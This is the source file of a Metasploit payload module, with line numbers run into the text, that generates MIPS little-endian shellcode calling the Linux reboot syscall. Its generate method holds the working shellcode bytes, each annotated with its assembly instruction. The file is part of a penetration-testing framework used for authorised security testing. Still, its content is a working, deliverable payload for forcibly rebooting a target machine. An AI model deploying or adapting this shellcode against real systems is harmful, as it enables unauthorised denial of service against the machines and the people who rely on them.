Path: blob/master/modules/payloads/singles/linux/mipsle/reboot.rb
32702 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 3278include Msf::Payload::Single910def initialize(info = {})11super(12merge_info(13info,14'Name' => 'Linux Reboot',15'Description' => %q{16A very small shellcode for rebooting the system using17the reboot syscall. This payload is sometimes helpful18for testing purposes. Requires CAP_SYS_BOOT privileges.19},20'Author' => [21'Michael Messner <devnull[at]s3cur1ty.de>', # metasploit payload22'rigan - <imrigan[at]gmail.com>' # original payload23],24'References' => [25['URL', 'https://man7.org/linux/man-pages/man2/reboot.2.html'],26['URL', 'http://www.shell-storm.org/shellcode/files/shellcode-795.php']27],28'License' => MSF_LICENSE,29'Platform' => 'linux',30'Arch' => ARCH_MIPSLE,31'Payload' => {32'Offsets' => {},33'Payload' => ''34}35)36)37end3839def generate(_opts = {})40shellcode =41"\x21\x43\x06\x3c" + # lui a2,0x432142"\xdc\xfe\xc6\x34" + # ori a2,a2,0xfedc43"\x12\x28\x05\x3c" + # lui a1,0x281244"\x69\x19\xa5\x34" + # ori a1,a1,0x196945"\xe1\xfe\x04\x3c" + # lui a0,0xfee146"\xad\xde\x84\x34" + # ori a0,a0,0xdead47"\xf8\x0f\x02\x24" + # li v0,408848"\x0c\x01\x01\x01" # syscall 0x404044950return super + shellcode51end52end535455